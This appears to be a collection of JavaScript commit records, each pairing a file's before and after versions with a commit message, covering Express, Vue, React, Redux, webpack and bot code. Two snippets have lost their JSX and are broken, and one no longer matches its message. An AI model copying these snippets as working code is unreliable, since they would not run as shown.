import bodyParser from 'body-parser';

import { initRoutes } from './api/routes';

// Start express
const server = express();

//Load in HTML file
const index = fs.readFileSync(__dirname + '/client/client.html');

// Serve Assets
server.use('**/js', express.static(path.resolve(`${__dirname}/build/js`)));
server.use('**/css', express.static(path.resolve(`${__dirname}/client/stylesheets`)));
server.use('**/media', express.static(path.resolve(`${__dirname}/client/media`)));
server.use(bodyParser.json());
server.use(bodyParser.urlencoded({ extended: true }));

// Initialize server route and run
initRoutes(server, index);
server.listen(1337);

console.log('_________________________________________________________________________ \n');
console.log('Server running at http://127.0.0.1:1337/');

import fs from 'fs';
import express from 'express';
import path from 'path';
import bodyParser from 'body-parser';

import { initRoutes } from './api/routes';

// Start express
const server = express();

//Load in HTML file
const index = fs.readFileSync(__dirname + '/client/client.html');
const port = process.env.PORT || process.env.NODE_PORT || 3000;

// Serve Assets
server.use('**/js', express.static(path.resolve(`${__dirname}/build/js`)));
server.use('**/css', express.static(path.resolve(`${__dirname}/client/stylesheets`)));
server.use('**/media', express.static(path.resolve(`${__dirname}/client/media`)));
server.use(bodyParser.json());
server.use(bodyParser.urlencoded({ extended: true }));

// Initialize server route and run
initRoutes(server, index);
server.listen(port);

console.log('_________________________________________________________________________ \n');
console.log('Server running at http://127.0.0.1:1337/');

Change port to work with heroku


(function () {
const semver = require('semver')
/**
 * Install plugin
 * @param app
 * @param axios
 */

function plugin(app, axios) {
  if (plugin.installed) {
    return
  }

  if (!axios) {
    console.error('You have to install axios')
    return
  }

  if (!!!semver.valid(app.version)) {
    console.error('Unkown vue version')
    return
  }

  plugin.installed = true;

  if (semver.lt(app.version, '3.0.0')) {
    Object.defineProperties(app.prototype, {

      axios: {
        get: function get() {
          return axios;
        }
      },

      $http: {
        get: function get() {
          return axios;
        }
      }

    });
  } else {
    app.config.globalProperties.axios = axios;
    app.config.globalProperties.$http = axios;
  }

  app.axios = axios;
  app.$http = axios;
}

if (typeof exports == "object") {
  module.exports = plugin
} else if (typeof define == "function" && define.amd) {
  define([], function(){ return plugin })
} else if (window.Vue && window.axios) {
  Vue.use(plugin, window.axios)
}
})();

(function () {
const semver = require('semver')
/**
 * Install plugin
 * @param app
 * @param axios
 */

function plugin(app, axios) {
  if (plugin.installed) {
    return
  }

  if (!axios) {
    console.error('You have to install axios')
    return
  }

  if (semver.valid(app.version) == null) {
    console.error('Unkown vue version')
    return
  }

  plugin.installed = true;

  if (semver.lt(app.version, '3.0.0')) {
    Object.defineProperties(app.prototype, {

      axios: {
        get: function get() {
          return axios;
        }
      },

      $http: {
        get: function get() {
          return axios;
        }
      }

    });
  } else {
    app.config.globalProperties.axios = axios;
    app.config.globalProperties.$http = axios;
  }

  app.axios = axios;
  app.$http = axios;
}

if (typeof exports == "object") {
  module.exports = plugin
} else if (typeof define == "function" && define.amd) {
  define([], function(){ return plugin })
} else if (window.Vue && window.axios) {
  Vue.use(plugin, window.axios)
}
})();

Remove git status! when check semver.valid result


import 'babel-polyfill'
import controller from './controller'
import {
  handleDirectMention, handleDirectMessage, handleJoin, handleTestMessage
} from './handlers'

const bot = controller.spawn({})

controller.setupWebserver(process.env.PORT || 3000, function (err, webserver) {
  if (err) {
    console.log(err)
    throw err
  }
  controller.createWebhookEndpoints(webserver, bot, function () {
    console.log('SPARK: Webhooks set up!')
  })
})

controller.on('bot_room_join', handleJoin)

controller.hears(['test'], 'direct_mention,direct_message', handleTestMessage)

controller.on('self_message', function (bot, message) {
  // a reply here could create recursion
  // bot.reply(message, 'You know who just said something? This guy.')
})

controller.on('direct_mention', handleDirectMention)

controller.on('direct_message', handleDirectMessage)

import 'babel-polyfill'
import controller from './controller'
import {
  handleDirectMention, handleDirectMessage, handleJoin, handleTestMessage
} from './handlers'

const bot = controller.spawn({})

controller.setupWebserver(process.env.PORT || 3000, function (err, webserver) {
  if (err) {
    console.log(err)
    throw err
  }
  controller.createWebhookEndpoints(webserver, bot, function () {
    console.log('SPARK: Webhooks set up!')
  })
})

controller.on('bot_space_join', handleJoin)

controller.hears(['test'], 'direct_mention,direct_message', handleTestMessage)

controller.on('self_message', function (bot, message) {
  // a reply here could create recursion
  // bot.reply(message, 'You know who just said something? This guy.')
})

controller.on('direct_mention', handleDirectMention)

controller.on('direct_message', handleDirectMessage)

Fix event name for bot joining a space


const Client = require('./client/Client');
const Shard = require('./sharding/Shard');
const ShardingManager = require('./sharding/ShardingManager');
const Collection = require('./util/Collection');

exports.Client = Client;
exports.Shard = Shard;
exports.ShardingManager = ShardingManager;
exports.Collection = Collection;

const path = require('path');

let version;

module.exports = {
  Client: require('./client/Client'),
  Shard: require('./sharding/Shard'),
  ShardingManager: require('./sharding/ShardingManager'),
  Collection: require('./util/Collection'),

  get version() {
    if (!version) version = require(path.join(__dirname, '..', 'package.json')).version;
    return version;
  },
};

Add version export, and cleanup


import React, { PureComponent } from 'react'
import makeAwareness from 'awareness'

// Returns a new stateful component, given the specified state handlers and a pure component to render with
export default (
  Pure,
  handlersIn,
  {
    onChange,
    adjustArgs
  } = {}
) => class Organism extends PureComponent {
  static initialStateForProps(props) {
    return handlersIn.initial(props)
  }

  get currentState() {
    return this.props.getState ? this.props.getState() : this.state
  }

  alterState = (stateChanger) => {
    // Can either be a plain object or a callback to transform the existing state
    (this.props.setState || this.setState).call(
      this,
      stateChanger,
      // Call onChange once updated with current version of state
      onChange ? () => { onChange(this.currentState) } : undefined
    )
  }

  awareness = makeAwareness(this.alterState, handlersIn, {
    getProps: () => this.props,
    adjustArgs
  })

  state = this.awareness.state

  componentDidMount() {
    this.awareness.loadAsync(this.props, null, this.currentState)
  }

  componentWillReceiveProps(nextProps) {
    this.awareness.loadAsync(nextProps, this.props, this.currentState)
  }

  render() {
    // Render the pure component, passing both props and state, plus handlers bundled together
    return <Pure { ...this.props } { ...this.currentState } handlers={ this.awareness.handlers } />
  }
}

import React, { PureComponent } from 'react'
import makeAwareness from 'awareness'

// Returns a new stateful component, given the specified state handlers and a pure component to render with
export default (
  Pure,
  handlersIn,
  {
    onChange,
    adjustArgs
  } = {}
) => class Organism extends PureComponent {
  static initialStateForProps(props) {
    return handlersIn.initial(props)
  }

  get currentState() {
    return this.props.getState ? this.props.getState() : this.state
  }

  alterState = (stateChanger) => {
    // Can either be a plain object or a callback to transform the existing state
    (this.props.setState || this.setState).call(
      this,
      stateChanger,
      // Call onChange once updated with current version of state
      onChange ? () => { onChange(this.currentState) } : undefined
    )
  }

  awareness = makeAwareness(this.alterState, handlersIn, {
    getProps: () => this.props,
    adjustArgs
  })

  state = this.awareness.state

  componentDidMount() {
    this.awareness.loadAsync(this.props, null, this.currentState)
  }

  componentDidUpdate(prevProps, prevState) {
    this.awareness.loadAsync(this.props, prevProps, this.currentState)
  }

  render() {
    // Render the pure component, passing both props and state, plus handlers bundled together
    return <Pure { ...this.props } { ...this.currentState } handlers={ this.awareness.handlers } />
  }
}

Use componentDidUpdate() intead of deprecated componentWillReceiveProps()


import 'babel-polyfill';
import React from 'react';
import ReactDOM from 'react-dom';
import { Router, Route, IndexRoute, browserHistory } from 'react-router';
import { Provider } from 'react-redux';
import { createStore, applyMiddleware, compose } from 'redux';
import thunkMiddleware from 'redux-thunk';

import rootReducer from './reducers';
import MainContainer from './containers/main-container';
import VisibleBookmarksList from './containers/visible-bookmarks-list';

require('file?name=[name].[ext]!../assets/favicon.ico');
require('../assets/octicons/octicons.css');
require('../assets/octicons/octicons.eot');
require('../assets/octicons/octicons.woff');
require('../assets/octicons/octicons.ttf');
require('../assets/octicons/octicons.svg');

const store = createStore(
  rootReducer,
  compose(
    applyMiddleware(thunkMiddleware),
    window.devToolsExtension ? window.devToolsExtension() : f => f
  )
);

const routes = (
  <Provider store={store}>
    <Router history={browserHistory}>
      <Route path="/" component={MainContainer}>
        <IndexRoute component={VisibleBookmarksList} />
        <Route path="tag/:tag" component={VisibleBookmarksList} />
      </Route>
    </Router>
  </Provider>
);

ReactDOM.render(routes, document.getElementById('app'));

import 'babel-polyfill';
import React from 'react';
import ReactDOM from 'react-dom';
import { Router, Route, IndexRoute, browserHistory } from 'react-router';
import { Provider } from 'react-redux';
import { createStore, applyMiddleware, compose } from 'redux';
import thunkMiddleware from 'redux-thunk';

import rootReducer from './reducers';
import MainContainer from './containers/main-container';
import VisibleBookmarksList from './containers/visible-bookmarks-list';

require('file?name=[name].[ext]!../assets/favicon.ico');
require('../assets/octicons/octicons.css');
require('../assets/octicons/octicons.eot');
require('../assets/octicons/octicons.woff');
require('../assets/octicons/octicons.ttf');
require('../assets/octicons/octicons.svg');

const store = createStore(
  rootReducer,
  compose(
    applyMiddleware(thunkMiddleware),
    process.env.NODE_ENV !== 'production' && window.devToolsExtension
      ? window.devToolsExtension() : f => f
  )
);

const routes = (
  <Provider store={store}>
    <Router history={browserHistory}>
      <Route path="/" component={MainContainer}>
        <IndexRoute component={VisibleBookmarksList} />
        <Route path="tag/:tag" component={VisibleBookmarksList} />
      </Route>
    </Router>
  </Provider>
);

ReactDOM.render(routes, document.getElementById('app'));

Disable Redux devtools in production.


/* eslint-disable no-template-curly-in-string */
const path = require('path')

module.exports = async function (config) {
  const productName = 'Mapeo for ICCAs'
  return {
    ...config,
    productName,
    appId: 'org.digital-democracy.mapeo-desktop.icca',
    artifactName: 'Mapeo_ICCAs_v${version}_${os}.${ext}',
    win: {
      ...config.win,
      artifactName: 'Mapeo_ICCAs_v${version}_${os}-${env.ARCH}.${ext}'
    },
    extraMetadata: {
      name: 'mapeo-icca',
      productName,
      variant: 'icca'
    },
    publish: [
      {
        provider: 's3',
        bucket: 'downloads.mapeo.app',
        path: '/desktop-icca'
      }
    ],
    directories: {
      ...config.directories,
      buildResources: path.join(__dirname, 'build'),
      output: 'dist/icca'
    },
    extraResources: [
      {
        // TODO: Update mapeo-config-icca package to define package.main
        // so that we can use require.resolve() here
        from: path.join(__dirname, '../../node_modules/mapeo-config-icca/dist'),
        to: 'presets/default'
      }
    ]
  }
}

/* eslint-disable no-template-curly-in-string */
const path = require('path')

module.exports = async function (config) {
  const productName = 'Mapeo for ICCAs'
  return {
    ...config,
    productName,
    appId: 'org.digital-democracy.mapeo-desktop.icca',
    artifactName: 'Mapeo_ICCAs_v${version}_${os}.${ext}',
    win: {
      ...config.win,
      artifactName: 'Mapeo_ICCAs_v${version}_${os}-${env.ARCH}.${ext}'
    },
    extraMetadata: {
      name: 'mapeo-icca',
      productName,
      variant: 'icca'
    },
    publish: [
      {
        provider: 's3',
        bucket: 'downloads.mapeo.app',
        path:
          process.env.ARCH === 'ia32' ? '/desktop-icca/ia32' : '/desktop-icca'
      }
    ],
    directories: {
      ...config.directories,
      buildResources: path.join(__dirname, 'build'),
      output: 'dist/icca'
    },
    extraResources: [
      {
        // TODO: Update mapeo-config-icca package to define package.main
        // so that we can use require.resolve() here
        from: path.join(__dirname, '../../node_modules/mapeo-config-icca/dist'),
        to: 'presets/default'
      }
    ]
  }
}

Fix auto-updater win32 for ICCA variant


import Inferno from 'inferno'
import Component from 'inferno-component'
import { connect } from 'mobx-connect/inferno'
import { Link } from '../../../shared/router'
import Menu from '../Common/Menu'

@connect
class App extends Component {
    render() {
        const { account } = this.context.store
        return <div>
            {account.isLoggedIn() ? <LoggedInMenu/> : <LoggedOutMenu/>}
            {this.props.children}
        </div>
    }
}

function LoggedInMenu() {
    return <Menu>
        <Link to="/">Browse</Link>
        <Link to="/about">About</Link>
        <Link to="/logout">Logout</Link>
    </Menu>
}

function LoggedOutMenu() {
    return <Menu>
        <Link to="/about">About</Link>
        <Link to="/register">Register</Link>
        <Link to="/login">Login</Link>
    </Menu>
}

export default App

import Inferno from 'inferno'
import Component from 'inferno-component'
import { connect } from 'mobx-connect/inferno'
import { Link } from '../../../shared/router'
import Menu from '../Common/Menu'

@connect
class App extends Component {
    render() {
        const { account } = this.context.store
        return <div>
            {account.isLoggedIn() ? <LoggedInMenu/> : <LoggedOutMenu/>}
            {this.props.children}
        </div>
    }
}

function LoggedInMenu() {
    return <Menu>
        <Link to="/">Browse</Link>
        <Link to="/about">About</Link>
        <Link to="/logout">Logout</Link>
    </Menu>
}

function LoggedOutMenu() {
    return <Menu>
        <Link to="/">Browse</Link>
        <Link to="/about">About</Link>
        <Link to="/register">Register</Link>
        <Link to="/login">Login</Link>
    </Menu>
}

export default App

Add back the Browse button for unauthorized users


/**
 |==========================================================================================
 | This is a container that displays the list of restaurants.
 | Needs access to redux state.
 | Does not need to dispatch to redux state.
 |
 | A. When redux's places state is updated via the map container:
 |  1. This list rerenders with the new places.
 |------------------------------------------------------------------------------------------
 */

import React, { Component, PropTypes } from 'react';
import { connect } from 'react-redux';
import ListItem from '../components/listItem';

class List extends Component {
  /**
   * Scroll up when list is applied a new filter
   */
  componentDidUpdate() {
    document.getElementById('list-scroll').scrollTop = 0;
  }

  render() {
    return (

        {this.props.places.map((place, index) =>
          (

{index + 1}

              <ListItem
                place={place}
              />

          )
        )}

    );
  }
}

List.propTypes = {
  places: PropTypes.array.isRequired,
};

function mapStateToProps({ places }) {
  return {
    places,
  };
}

export default connect(mapStateToProps)(List);

Fix proper property name place_id


var assert = require('assert');

var tapsert = module.exports = tapifyAssert(assert);

for (var a in assert) {
  tapsert[a] = tapifyAssert(assert[a]);
}

var assertions = 0;
var failures = 0;

function tapifyAssert(assert) {
  return tapifiedAssert;

  function tapifiedAssert() {
    var desc = (arguments.length === assert.length
                ? arguments[arguments.length-1]
                : '');
    maybeHeader();
    var n = assertions += 1;
    try {
      assert.apply(null, arguments);
      console.log('ok %d - %s', n, desc);
    } catch (e) {
      failures += 1;
      console.log('not ok %d - %s', n, desc)
    }
  }
}

function maybeHeader() {
  if (assertions === 0)
    console.log('TAP version 13');
}

process.on('exit', function(code) {
  maybeHeader();
  console.log('1..%d', assertions);
  process.exit(failures);
});

var assert = require('assert');
var fmt = require('util').format;

var tapsert = module.exports = tapifyAssert(assert);

for (var a in assert) {
  tapsert[a] = tapifyAssert(assert[a]);
}

var assertions = 0;
var failures = 0;

function tapifyAssert(assert) {
  return tapifiedAssert;

  function tapifiedAssert() {
    var desc = (arguments.length === assert.length
                ? arguments[arguments.length-1]
                : '');
    maybeHeader();
    var n = assertions += 1;
    try {
      assert.apply(null, arguments);
      console.log('ok %d - %s', n, desc);
    } catch (e) {
      failures += 1;
      console.log('not ok %d - %s', n, desc);
      console.log(formatAssertionError(e));
    }
  }
}

function formatAssertionError(e) {
  error = [
    fmt('actual: %j', e.actual),
    fmt('expected: %j', e.expected),
    fmt('operator: %j', e.operator),
    fmt('message: %s', e.message),
    e.stack,
  ].join('\n');
  return prefixLines('# ', error);
}

function prefixLines(prefix, text) {
  return text.split('\n')
             .map(prepend)
             .join('\n');

  function prepend(line) {
    return prefix + line;
  }
}

function maybeHeader() {
  if (assertions === 0)
    console.log('TAP version 13');
}

process.on('exit', function(code) {
  maybeHeader();
  console.log('1..%d', assertions);
  process.exit(failures);
});

Improve formatting of assertion failures


ReactDOM.render(

Hello, world!
,
	document.getElementById('example')
);

Add space and comments for components


import ROT from "rot-js";
import config from "../config/display";

var display = new ROT.Display({
  fontSize: config.fontSize,
  fg: "#daddd8",
  // bg: "#47681D",
  bg: "#1e1e1e",
  // bg: "#9e9e9e", // For debugging
  forceSquareRatio: true
});

export default display;

import ROT from "rot-js";

var display = new ROT.Display({
  fg: "#daddd8",
  bg: "#1e1e1e",
  // bg: "#9e9e9e", // For debugging
  forceSquareRatio: true
});

export default display;

Remove defaults that are overwritten during game state init


import { createBrowserHistory, createMemoryHistory } from 'history'

export default function configureHistory() {
  return window.matchMedia('(display-mode: standalone)').matches
    ? createMemoryHistory()
    : createBrowserHistory()
}

import { createBrowserHistory, createHashHistory } from 'history'

export default function configureHistory() {
  return window.matchMedia('(display-mode: standalone)').matches
    ? createHashHistory()
    : createBrowserHistory()
}

Use hash router in home screen PWA


"use strict";

var $ = require('jquery');

var dom = {
    copyEventUrl: '.js-copy-event-url'
};

$(dom.copyEventUrl).click(function (e) {
    var eventUrl = $(e.target).data('event-url');
    window.prompt('Please copy the selected text:', eventUrl);
});

"use strict";

var $ = require('jquery');

var dom = {
    copyEventUrl: '.js-copy-event-url'
};

$(dom.copyEventUrl).click(function (e) {
    var eventUrl = $(e.target).data('event-url');
    window.prompt('Please manually copy the selected text:', eventUrl);
});

Update "Copy URL" prompt text


app.factory('stocks', ['$http', function($http) {
	return function(symbol) {
		var symbols;
		if (symbol.constructor === Array) {
			symbols = symbol.join('","');
		} else {
			symbols = symbol;
		}

		var endPoint = 'https://query.yahooapis.com/v1/public/yql?q=',
				query = "select * from yahoo.finance.quotes where symbol IN(\"" + symbols + "\")",
				args = "&format=json&env=http://datatables.org/alltables.env",
				url = endPoint + encodeURIComponent(query) + args;

		return $http.get(url)
		.success(function(data) {
			return data;
		})
		.error(function(data) {
			return data;
		});
	}

}]);

Add indent to http.get method


import path from 'path';

const appPath = suffix => path.resolve(__dirname, suffix);

const entry = {
  example: appPath('example/example.jsx')
};

const babelLoader = {
  loader: 'babel-loader',
  include: appPath('example'),
  query: {
    presets: ['es2015', 'react']
  }
};

export default {
  entry,
  module: {
    loaders: [babelLoader]
  },
  plugins: [],
  devtool: 'source-maps',
  output: {
    path: appPath('example'),
    filename: 'bundle.js'
  },
  resolve: {
    extensions: ['', '.js', '.jsx']
  }
};

import path from 'path';

const appPath = suffix => path.resolve(__dirname, suffix);

const entry = {
  example: appPath('example/example.jsx')
};

const babelLoader = {
  loader: 'babel-loader',
  include: appPath('example'),
  query: {
    presets: ['es2015', 'react']
  }
};

export default {
  entry,
  module: {
    loaders: [babelLoader]
  },
  plugins: [],
  devtool: 'source-maps',
  output: {
    path: appPath('example'),
    filename: 'bundle.js'
  },
  resolve: {
    extensions: ['.js', '.jsx']
  }
};

Update webpack config for latest version